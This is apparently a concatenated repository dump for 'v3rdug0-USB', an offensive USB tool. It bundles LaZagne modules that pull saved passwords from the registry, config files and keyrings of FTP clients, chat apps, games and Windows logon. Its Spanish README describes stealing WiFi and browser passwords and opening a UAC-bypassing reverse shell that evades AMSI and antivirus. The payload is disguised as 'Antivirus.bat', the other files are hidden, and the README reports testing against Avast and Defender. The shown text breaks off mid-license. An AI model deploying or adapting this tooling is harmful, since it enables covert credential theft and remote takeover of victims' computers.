'DefaultUserName': '', 28 | 'DefaultPassword': '', 29 | 'AltDefaultDomainName': '', 30 | 'AltDefaultUserName': '', 31 | 'AltDefaultPassword': '', 32 | } 33 | 34 | to_remove = [] 35 | for k in keys: 36 | try: 37 | keys[k] = str(winreg.QueryValueEx(hkey, k)[0]) 38 | except Exception: 39 | to_remove.append(k) 40 | 41 | for r in to_remove: 42 | keys.pop(r) 43 | 44 | if keys: 45 | pwd_found.append(keys) 46 | 47 | except Exception as e: 48 | self.debug(str(e)) 49 | 50 | return pwd_found 51 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/puttycm.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | try: 3 | import _winreg as winreg 4 | except ImportError: 5 | import winreg 6 | 7 | from xml.etree.cElementTree import ElementTree 8 | 9 | from lazagne.config.module_info import ModuleInfo 10 | from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode 11 | 12 | import os 13 | 14 | 15 | class Puttycm(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True) 18 | 19 | def run(self): 20 | database_path = self.get_default_database() 21 | if database_path and os.path.exists(database_path): 22 | return self.parse_xml(database_path) 23 | 24 | def get_default_database(self): 25 | try: 26 | key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager') 27 | db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0]) 28 | winreg.CloseKey(key) 29 | return db 30 | except Exception: 31 | return False 32 | 33 | def parse_xml(self, database_path): 34 | xml_file = os.path.expanduser(database_path) 35 | tree = ElementTree(file=xml_file) 36 | root = tree.getroot() 37 | 38 | pwd_found = [] 39 | elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password'] 40 | for connection in root.iter('connection'): 41 | children = connection.getchildren() 42 | values = {} 43 | for child in children: 44 | for c in child: 45 | if str(c.tag) in elements: 46 | values[str(c.tag).capitalize()] = str(c.text) 47 | 48 | if values: 49 | pwd_found.append(values) 50 | 51 | return pwd_found 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # v3rdug0-USB 2 | Esta herramienta extrae contraseñas WiFi, de todos los navegadores y crea una reverse shell a tu maquina atacante, todo esto sin que ni el antivirus ni el AMSI lo detecten, la reverse shell te la da con permisos de administrador con bypass de UAC. Adaptada para windows. 3 | 4 | ---- 5 | Requisitos: 6 | ---- 7 | -Tener en el pen-drive instalado python3, así podremos ejecutar esta herramienta en ordenadores que no tengan python instalado. 8 | 9 | -Python3 y con pip instalar la librería de laZagne. 10 | 11 | -Tal y como están los scripts y todo, mantener la misma estructura de directorios, sino tendréis que modificarlo vosotros manualmente 12 | 13 | -Oculta todos los archivos y carpetas menos Antivirus.bat 14 | 15 | -Instalar los requisitos del requirements.txt del laZagne 16 | 17 | 18 | Detalles: 19 | ---- 20 | -Para efectuar la reverse shell, obviamente tenéis que poner vuestra ip en el archivo powershell dónde esta configurada la reverse shell 21 | 22 | -Los archivos maliiciosos se pegarán en la variable de entorno TEMP para así poder quitar el USB y seguir teniendo conexión. 23 | 24 | -Para los permisos de administrador no hace falta nada, el bypass de UAC funciona perfectamente. 25 | 26 | -No hay que compilar ningún programa ni nada, todo a base de scripts 27 | 28 | -Obviamente hace falta ponerte a la escucha en tu máquina atacante por el puerto que le indiques 29 | 30 | -El bypass de UAC es el bypass a través de variable de entorno por las scheduled tasks de windows 31 | 32 | Créditos: 33 | ---- 34 | -laZagne 35 | 36 | -HelloWorld 37 | 38 | AV Testeados: 39 | ---- 40 | -Probado en Avast y en Defender sin problemas, no he podido testearlo en más pero en otros AV lo que podría detectarlo sería el lazagne, podríais quitar el password grabber, pero la reverse shell con bypass AMSI y UAC debería funcionar, podéis dejar los resultados por aquí 41 | 42 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/memory/libkeepass/crypto.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import hashlib 3 | import struct 4 | 5 | from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC 6 | from lazagne.config.winstructure import char_to_int 7 | 8 | AES_BLOCK_SIZE = 16 9 | 10 | 11 | def sha256(s): 12 | """Return SHA256 digest of the string `s`.""" 13 | return hashlib.sha256(s).digest() 14 | 15 | 16 | def transform_key(key, seed, rounds): 17 | """Transform `key` with `seed` `rounds` times using AES ECB.""" 18 | # create transform cipher with transform seed 19 | cipher = AESModeOfOperationECB(seed) 20 | # transform composite key rounds times 21 | for n in range(0, rounds): 22 | key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)]) 23 | # return hash of transformed key 24 | return sha256(key) 25 | 26 | 27 | def aes_cbc_decrypt(data, key, enc_iv): 28 | """Decrypt and return `data` with AES CBC.""" 29 | cipher = AESModeOfOperationCBC(key, iv=enc_iv) 30 | return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) 31 | 32 | 33 | def aes_cbc_encrypt(data, key, enc_iv): 34 | cipher = AESModeOfOperationCBC(key, iv=enc_iv) 35 | return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) 36 | 37 | 38 | def unpad(data): 39 | extra = char_to_int(data[-1]) 40 | return data[:len(data) - extra] 41 | 42 | 43 | def pad(s): 44 | n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE 45 | return s + n * struct.pack('b', n) 46 | 47 | 48 | def xor(aa, bb): 49 | """Return a bytearray of a bytewise XOR of `aa` and `bb`.""" 50 | result = bytearray() 51 | for a, b in zip(bytearray(aa), bytearray(bb)): 52 | result.append(a ^ b) 53 | return result 54 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/filezilla.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import base64 6 | 7 | from xml.etree.cElementTree import ElementTree 8 | 9 | from lazagne.config.module_info import ModuleInfo 10 | from lazagne.config import homes 11 | 12 | 13 | class Filezilla(ModuleInfo): 14 | def __init__(self): 15 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin') 16 | 17 | def run(self): 18 | 19 | pwd_found = [] 20 | for xml_file in homes.get(file=[ 21 | os.path.join(d, f) 22 | for d in ('.filezilla', '.config/filezilla') 23 | for f in ('sitemanager.xml', 'recentservers.xml', 'filezilla.xml') 24 | ]): 25 | 26 | if os.path.exists(xml_file): 27 | tree = ElementTree(file=xml_file) 28 | servers = tree.findall('Servers/Server') if tree.findall('Servers/Server') else tree.findall( 29 | 'RecentServers/Server') 30 | 31 | for server in servers: 32 | host = server.find('Host') 33 | port = server.find('Port') 34 | login = server.find('User') 35 | password = server.find('Pass') 36 | 37 | if host is not None and port is not None and login is not None: 38 | values = { 39 | 'Host': host.text, 40 | 'Port': port.text, 41 | 'Login': login.text, 42 | } 43 | 44 | if password is not None: 45 | if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64': 46 | values['Password'] = base64.b64decode(password.text) 47 | else: 48 | values['Password'] = password.text 49 | 50 | pwd_found.append(values) 51 | 52 | return pwd_found 53 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/crypto/pbkdf2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # A simple implementation of pbkdf2 using stock python modules. See RFC2898 4 | # for details. Basically, it derives a key from a password and salt. 5 | 6 | # (c) 2004 Matt Johnston 7 | # This code may be freely used and modified for any purpose. 8 | 9 | import hmac 10 | import hashlib 11 | import sys 12 | 13 | from struct import pack 14 | 15 | BLOCKLEN = 20 16 | 17 | 18 | def char_to_int(string): 19 | if sys.version_info[0] == 2 or isinstance(string, str): 20 | return ord(string) 21 | else: 22 | return string # Python 3 23 | 24 | def chr_or_byte(integer): 25 | if sys.version_info[0] == 2: 26 | return chr(integer) 27 | else: 28 | return bytes([integer]) # Python 3 29 | 30 | 31 | # this is what you want to call. 32 | def pbkdf2(password, salt, itercount, keylen): 33 | # l - number of output blocks to produce 34 | l = keylen / BLOCKLEN 35 | if keylen % BLOCKLEN != 0: 36 | l += 1 37 | 38 | h = hmac.new(password, None, hashlib.sha1) 39 | 40 | T = b'' 41 | for i in range(1, int(l) + 1): 42 | T += pbkdf2_F(h, salt, itercount, i) 43 | 44 | return T[: -(BLOCKLEN - keylen % BLOCKLEN)] 45 | 46 | 47 | def xorstr(a, b): 48 | if len(a) != len(b): 49 | raise "xorstr(): lengths differ" 50 | 51 | ret = b'' 52 | for i in range(len(a)): 53 | ret += chr_or_byte(char_to_int(a[i]) ^ char_to_int(b[i])) 54 | 55 | return ret 56 | 57 | 58 | def prf(h, data): 59 | hm = h.copy() 60 | hm.update(data) 61 | return hm.digest() 62 | 63 | 64 | # Helper as per the spec. h is a hmac which has been created seeded with the 65 | # password, it will be copy()ed and not modified. 66 | def pbkdf2_F(h, salt, itercount, blocknum): 67 | U = prf(h, salt + pack('>i', blocknum)) 68 | T = U 69 | 70 | for i in range(2, itercount + 1): 71 | U = prf(h, U) 72 | T = xorstr(T, U) 73 | 74 | return T 75 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/games/turba.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import os 4 | 5 | try: 6 | import _winreg as winreg 7 | except ImportError: 8 | import winreg 9 | 10 | import lazagne.config.winstructure as win 11 | from lazagne.config.module_info import ModuleInfo 12 | from lazagne.config.winstructure import string_to_unicode 13 | 14 | 15 | class Turba(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, 'turba', 'games', registry_used=True) 18 | 19 | def run(self): 20 | creds = [] 21 | results = None 22 | 23 | # Find the location of steam - to make it easier we're going to use a try block 24 | # 'cos I'm lazy 25 | try: 26 | with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key: 27 | results = winreg.QueryValueEx(key, 'SteamPath') 28 | except Exception: 29 | pass 30 | 31 | if results: 32 | steampath = string_to_unicode(results[0]) 33 | steamapps = os.path.join(steampath, u'SteamApps\common') 34 | 35 | # Check that we have a SteamApps directory 36 | if not os.path.exists(steamapps): 37 | self.error(u'Steam doesn\'t have a SteamApps directory.') 38 | return 39 | 40 | filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin') 41 | 42 | if not os.path.exists(filepath): 43 | self.debug(u'Turba doesn\'t appear to be installed.') 44 | return 45 | 46 | # If we're here we should have a valid config file file 47 | with open(filepath, mode='rb') as filepath: 48 | # We've found a config file, now extract the creds 49 | data = filepath.read() 50 | chunk = data[0x1b:].split('\x0a') 51 | creds.append({ 52 | 'Login': chunk[0], 53 | 'Password': chunk[1] 54 | }) 55 | return creds 56 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/games/galconfusion.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import os 4 | 5 | try: 6 | import _winreg as winreg 7 | except ImportError: 8 | import winreg 9 | 10 | import lazagne.config.winstructure as win 11 | from lazagne.config.module_info import ModuleInfo 12 | from lazagne.config.winstructure import string_to_unicode 13 | 14 | 15 | class GalconFusion(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True) 18 | 19 | def run(self): 20 | creds = [] 21 | results = None 22 | 23 | # Find the location of steam - to make it easier we're going to use a try block 24 | # 'cos I'm lazy 25 | try: 26 | with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key: 27 | results = winreg.QueryValueEx(key, 'SteamPath') 28 | except Exception: 29 | pass 30 | 31 | if results: 32 | steampath = string_to_unicode(results[0]) 33 | userdata = os.path.join(steampath, u'userdata') 34 | 35 | # Check that we have a userdata directory 36 | if not os.path.exists(userdata): 37 | self.error(u'Steam doesn\'t have a userdata directory.') 38 | return 39 | 40 | # Now look for Galcon Fusion in every user 41 | for f in os.listdir(userdata): 42 | filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg') 43 | if not os.path.exists(filepath): 44 | continue 45 | 46 | # If we're here we should have a Galcon Fusion file 47 | with open(filepath, mode='rb') as cfgfile: 48 | # We've found a config file, now extract the creds 49 | data = cfgfile.read() 50 | creds.append({ 51 | 'Login': data[4:0x23], 52 | 'Password': data[0x24:0x43] 53 | }) 54 | 55 | return creds 56 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/BaseProcess.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | import struct 5 | 6 | from .utils import * 7 | 8 | 9 | """ Base class for process not linked to any platform """ 10 | 11 | class ProcessException(Exception): 12 | pass 13 | 14 | class BaseProcess(object): 15 | 16 | def __init__(self, *args, **kwargs): 17 | """ Create and Open a process object from its pid or from its name """ 18 | self.h_process = None 19 | self.pid = None 20 | self.isProcessOpen = False 21 | self.buffer = None 22 | self.bufferlen = 0 23 | 24 | def __del__(self): 25 | self.close() 26 | 27 | def close(self): 28 | pass 29 | def iter_region(self, *args, **kwargs): 30 | raise NotImplementedError 31 | def write_bytes(self, address, data): 32 | raise NotImplementedError 33 | 34 | def read_bytes(self, address, bytes = 4): 35 | raise NotImplementedError 36 | 37 | def get_symbolic_name(self, address): 38 | return '0x%08X' % int(address) 39 | 40 | def read(self, address, type = 'uint', maxlen = 50, errors='raise'): 41 | if type == 's' or type == 'string': 42 | s = self.read_bytes(int(address), bytes=maxlen) 43 | 44 | try: 45 | idx = s.index(b'\x00') 46 | return s[:idx] 47 | except: 48 | if errors == 'ignore': 49 | return s 50 | 51 | raise ProcessException('string > maxlen') 52 | 53 | else: 54 | if type == 'bytes' or type == 'b': 55 | return self.read_bytes(int(address), bytes=maxlen) 56 | s, l = type_unpack(type) 57 | return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] 58 | 59 | def write(self, address, data, type = 'uint'): 60 | if type != 'bytes': 61 | s, l = type_unpack(type) 62 | return self.write_bytes(int(address), struct.pack(s, data)) 63 | else: 64 | return self.write_bytes(int(address), data) 65 | 66 | 67 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/BaseProcess.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | import struct 5 | 6 | from .utils import * 7 | 8 | 9 | """ Base class for process not linked to any platform """ 10 | 11 | class ProcessException(Exception): 12 | pass 13 | 14 | class BaseProcess(object): 15 | 16 | def __init__(self, *args, **kwargs): 17 | """ Create and Open a process object from its pid or from its name """ 18 | self.h_process = None 19 | self.pid = None 20 | self.isProcessOpen = False 21 | self.buffer = None 22 | self.bufferlen = 0 23 | 24 | def __del__(self): 25 | self.close() 26 | 27 | def close(self): 28 | pass 29 | def iter_region(self, *args, **kwargs): 30 | raise NotImplementedError 31 | def write_bytes(self, address, data): 32 | raise NotImplementedError 33 | 34 | def read_bytes(self, address, bytes = 4): 35 | raise NotImplementedError 36 | 37 | def get_symbolic_name(self, address): 38 | return '0x%08X' % int(address) 39 | 40 | def read(self, address, type = 'uint', maxlen = 50, errors='raise'): 41 | if type == 's' or type == 'string': 42 | s = self.read_bytes(int(address), bytes=maxlen) 43 | 44 | try: 45 | idx = s.index(b'\x00') 46 | return s[:idx] 47 | except: 48 | if errors == 'ignore': 49 | return s 50 | 51 | raise ProcessException('string > maxlen') 52 | 53 | else: 54 | if type == 'bytes' or type == 'b': 55 | return self.read_bytes(int(address), bytes=maxlen) 56 | s, l = type_unpack(type) 57 | return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] 58 | 59 | def write(self, address, data, type = 'uint'): 60 | if type != 'bytes': 61 | s, l = type_unpack(type) 62 | return self.write_bytes(int(address), struct.pack(s, data)) 63 | else: 64 | return self.write_bytes(int(address), data) 65 | 66 | 67 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/coreftp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import binascii 3 | try: 4 | import _winreg as winreg 5 | except ImportError: 6 | import winreg 7 | 8 | from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB 9 | from lazagne.config.module_info import ModuleInfo 10 | from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER 11 | 12 | 13 | class CoreFTP(ModuleInfo): 14 | def __init__(self): 15 | ModuleInfo.__init__(self, 'coreftp', 'sysadmin') 16 | 17 | self._secret = b"hdfzpysvpzimorhk" 18 | 19 | def decrypt(self, hex): 20 | encoded = binascii.unhexlify(hex) 21 | aes = AESModeOfOperationECB(self._secret) 22 | decrypted = aes.decrypt(encoded) 23 | return decrypted.split(b'\x00')[0] 24 | 25 | def run(self): 26 | key = None 27 | pwd_found = [] 28 | try: 29 | key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites') 30 | except Exception as e: 31 | self.debug(str(e)) 32 | 33 | if key: 34 | num_profiles = winreg.QueryInfoKey(key)[0] 35 | elements = ['Host', 'Port', 'User', 'PW'] 36 | for n in range(num_profiles): 37 | name_skey = winreg.EnumKey(key, n) 38 | skey = OpenKey(key, name_skey) 39 | num = winreg.QueryInfoKey(skey)[1] 40 | values = {} 41 | for nn in range(num): 42 | k = winreg.EnumValue(skey, nn) 43 | if k[0] in elements: 44 | if k[0] == 'User': 45 | values['Login'] = k[1] 46 | pwd_found.append(values) 47 | if k[0] == 'PW': 48 | try: 49 | values['Password'] = self.decrypt(k[1]) 50 | except Exception as e: 51 | self.debug(str(e)) 52 | else: 53 | values[k[0]] = k[1] 54 | 55 | winreg.CloseKey(skey) 56 | winreg.CloseKey(key) 57 | 58 | return pwd_found 59 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/chats/psi.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | from xml.etree.cElementTree import ElementTree 4 | from itertools import cycle 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config import homes 8 | 9 | 10 | class PSI(ModuleInfo): 11 | def __init__(self): 12 | self.pwd_found = [] 13 | 14 | ModuleInfo.__init__(self, 'psi-im', 'chats') 15 | 16 | def get_profiles_files(self): 17 | for profile_dir in homes.get(directory=[u'.config/psi/profiles', u'.local/psi+/profiles']): 18 | try: 19 | subdirs = os.listdir(profile_dir) 20 | except Exception: 21 | continue 22 | 23 | for subdir in subdirs: 24 | login_data = os.path.join(profile_dir, subdir, 'accounts.xml') 25 | if os.path.isfile(login_data): 26 | yield login_data 27 | 28 | # Thanks to https://github.com/jose1711/psi-im-decrypt 29 | def decode_password(self, password, jid): 30 | result = '' 31 | jid = cycle(jid) 32 | for n1 in range(0, len(password), 4): 33 | x = int(password[n1:n1 + 4], 16) 34 | result += chr(x ^ ord(next(jid))) 35 | 36 | return result 37 | 38 | def process_one_file(self, _path): 39 | root = ElementTree(file=_path).getroot() 40 | 41 | for item in root: 42 | if item.tag == '{http://psi-im.org/options}accounts': 43 | for acc in item: 44 | values = {} 45 | 46 | for x in acc: 47 | if x.tag == '{http://psi-im.org/options}jid': 48 | values['Login'] = x.text 49 | 50 | elif x.tag == '{http://psi-im.org/options}password': 51 | values['Password'] = x.text 52 | 53 | values['Password'] = self.decode_password(values['Password'], values['Login']) 54 | 55 | if values: 56 | self.pwd_found.append(values) 57 | 58 | def run(self): 59 | for one_file in self.get_profiles_files(): 60 | self.process_one_file(one_file) 61 | 62 | return self.pwd_found 63 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/chats/psi.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | from xml.etree.cElementTree import ElementTree 4 | from glob import glob 5 | from itertools import cycle 6 | 7 | from lazagne.config.constant import constant 8 | from lazagne.config.module_info import ModuleInfo 9 | from lazagne.config.winstructure import char_to_int 10 | 11 | 12 | class PSI(ModuleInfo): 13 | def __init__(self): 14 | self.pwd_found = [] 15 | 16 | ModuleInfo.__init__(self, 'psi-im', 'chats') 17 | 18 | def get_profiles_files(self): 19 | _dirs = ( 20 | u'psi\\profiles\\*\\accounts.xml', 21 | u'psi+\\profiles\\*\\accounts.xml', 22 | ) 23 | 24 | for one_dir in _dirs: 25 | _path = os.path.join(constant.profile['APPDATA'], one_dir) 26 | accs_files = glob(_path) 27 | for one_file in accs_files: 28 | yield one_file 29 | 30 | # Thanks to https://github.com/jose1711/psi-im-decrypt 31 | def decode_password(self, password, jid): 32 | result = '' 33 | jid = cycle(jid) 34 | for n1 in range(0, len(password), 4): 35 | x = int(password[n1:n1 + 4], 16) 36 | result += chr(x ^ char_to_int(next(jid))) 37 | 38 | return result 39 | 40 | def process_one_file(self, _path): 41 | root = ElementTree(file=_path).getroot() 42 | 43 | for item in root: 44 | if item.tag == '{http://psi-im.org/options}accounts': 45 | for acc in item: 46 | values = {} 47 | 48 | for x in acc: 49 | if x.tag == '{http://psi-im.org/options}jid': 50 | values['Login'] = x.text 51 | 52 | elif x.tag == '{http://psi-im.org/options}password': 53 | values['Password'] = x.text 54 | 55 | values['Password'] = self.decode_password(values['Password'], values['Login']) 56 | 57 | if values: 58 | self.pwd_found.append(values) 59 | 60 | def run(self): 61 | for one_file in self.get_profiles_files(): 62 | self.process_one_file(one_file) 63 | 64 | return self.pwd_found 65 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/filezilla.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import base64 3 | 4 | from xml.etree.cElementTree import ElementTree 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config.constant import constant 8 | 9 | import os 10 | 11 | 12 | class Filezilla(ModuleInfo): 13 | def __init__(self): 14 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin') 15 | 16 | def run(self): 17 | path = os.path.join(constant.profile['APPDATA'], u'FileZilla') 18 | if os.path.exists(path): 19 | pwd_found = [] 20 | for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']: 21 | 22 | xml_file = os.path.join(path, file) 23 | if os.path.exists(xml_file): 24 | tree = ElementTree(file=xml_file) 25 | if tree.findall('Servers/Server'): 26 | servers = tree.findall('Servers/Server') 27 | else: 28 | servers = tree.findall('RecentServers/Server') 29 | 30 | for server in servers: 31 | host = server.find('Host') 32 | port = server.find('Port') 33 | login = server.find('User') 34 | password = server.find('Pass') 35 | 36 | # if all((host, port, login)) does not work 37 | if host is not None and port is not None and login is not None: 38 | values = { 39 | 'Host': host.text, 40 | 'Port': port.text, 41 | 'Login': login.text, 42 | } 43 | 44 | if password is not None: 45 | if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64': 46 | values['Password'] = base64.b64decode(password.text) 47 | else: 48 | values['Password'] = password.text 49 | 50 | if values: 51 | pwd_found.append(values) 52 | 53 | return pwd_found 54 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/wallet/kde.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ####################### 5 | # 6 | # By Quentin HARDY 7 | # 8 | ####################### 9 | 10 | from lazagne.config.module_info import ModuleInfo 11 | from lazagne.config import homes 12 | 13 | 14 | class Kde(ModuleInfo): 15 | def __init__(self): 16 | self.appid = 'Get KDE keyring' 17 | self.bus_info = [ 18 | ('org.kde.kwalletd', '/modules/kwalletd'), 19 | ('org.kde.kwalletd5', '/modules/kwalletd5') 20 | ] 21 | ModuleInfo.__init__(self, 'kwallet', 'wallet') 22 | 23 | def run(self): 24 | 25 | try: 26 | import dbus 27 | except Exception as e: 28 | self.error('kwallet: {error}'.format(error=e)) 29 | return [] 30 | 31 | pwd_found = [] 32 | for _, session in homes.sessions(): 33 | try: 34 | bus = dbus.bus.BusConnection(session) 35 | 36 | if 'org.kde.kwalletd' not in [str(x) for x in bus.list_names()]: 37 | continue 38 | 39 | for info in self.bus_info: 40 | kwallet_object = bus.get_object(info[0], info[1]) 41 | 42 | wallet = dbus.Interface(kwallet_object, 'org.kde.KWallet') 43 | handle = wallet.open(wallet.networkWallet(), 0, self.appid) 44 | 45 | if handle: 46 | for folder in wallet.folderList(handle, self.appid): 47 | for entry in wallet.entryList(handle, folder, self.appid): 48 | password_list = wallet.readPasswordList(handle, folder, entry, self.appid) 49 | for plist in password_list.items(): 50 | pwd_found.append({ 51 | 'Folder': str(folder), 52 | 'Login': str(plist[0]), 53 | 'Password': str(plist[1]), 54 | }) 55 | 56 | except Exception as e: 57 | self.error(e) 58 | continue 59 | 60 | bus.flush() 61 | bus.close() 62 | 63 | return pwd_found 64 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/cyberduck.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import base64 3 | 4 | from xml.etree.cElementTree import ElementTree 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config.winstructure import Win32CryptUnprotectData 8 | from lazagne.config.constant import constant 9 | from lazagne.config.winstructure import string_to_unicode 10 | 11 | import os 12 | 13 | 14 | class Cyberduck(ModuleInfo): 15 | def __init__(self): 16 | ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True) 17 | 18 | # find the user.config file containing passwords 19 | def get_application_path(self): 20 | directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck') 21 | if os.path.exists(directory): 22 | for dr in os.listdir(directory): 23 | if dr.startswith(u'Cyberduck'): 24 | for d in os.listdir(os.path.join(directory, string_to_unicode(dr))): 25 | path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config') 26 | return path 27 | 28 | def run(self): 29 | xml_file = self.get_application_path() 30 | if xml_file and os.path.exists(xml_file): 31 | tree = ElementTree(file=xml_file) 32 | 33 | pwd_found = [] 34 | for elem in tree.iter(): 35 | try: 36 | if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \ 37 | or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \ 38 | or elem.attrib['name'].startswith('https'): 39 | encrypted_password = base64.b64decode(elem.attrib['value']) 40 | password_bytes = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) 41 | pwd_found.append({ 42 | 'URL': elem.attrib['name'], 43 | 'Password': password_bytes.decode("utf-8"), 44 | }) 45 | except Exception as e: 46 | self.debug(str(e)) 47 | 48 | return pwd_found 49 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/constant.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import tempfile 3 | import random 4 | import string 5 | import time 6 | import os 7 | 8 | date = time.strftime("%d%m%Y_%H%M%S") 9 | tmp = tempfile.gettempdir() 10 | 11 | 12 | class constant(): 13 | folder_name = '.' 14 | file_name_results = 'credentials_{current_time}'.format( 15 | current_time=date 16 | ) # The extension is added depending on the user output choice 17 | max_help = 27 18 | CURRENT_VERSION = '2.4.4' 19 | output = None 20 | modules_dic = {} 21 | nb_password_found = 0 # Total password found 22 | password_found = [] # Tab containing all passwords used for dictionary attack 23 | stdout_result = [] # Tab containing all results by user 24 | pypykatz_result = {} 25 | finalResults = {} 26 | profile = { 27 | 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', 28 | 'USERPROFILE': u'{drive}:\\Users\\{user}\\', 29 | 'HOMEDRIVE': u'{drive}:', 30 | 'HOMEPATH': u'{drive}:\\Users\\{user}', 31 | 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', 32 | 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', 33 | 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', 34 | } 35 | username = u'' 36 | keepass = {} 37 | hives = { 38 | 'sam': os.path.join( 39 | tmp, 40 | ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), 41 | 'security': os.path.join( 42 | tmp, 43 | ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), 44 | 'system': os.path.join( 45 | tmp, 46 | ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])) 47 | } 48 | quiet_mode = False 49 | st = None # Standard output 50 | drive = u'C' 51 | user_dpapi = None 52 | system_dpapi = None 53 | lsa_secrets = None 54 | is_current_user = False # If True, Windows API are used otherwise dpapi is used 55 | user_password = None 56 | wifi_password = False # Check if the module as already be done 57 | module_to_exec_at_end = { 58 | "winapi": [], 59 | "dpapi": [], 60 | } 61 | dpapi_cache = {} -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/crypto/pyaes/__init__.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2014 Richard Moore 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 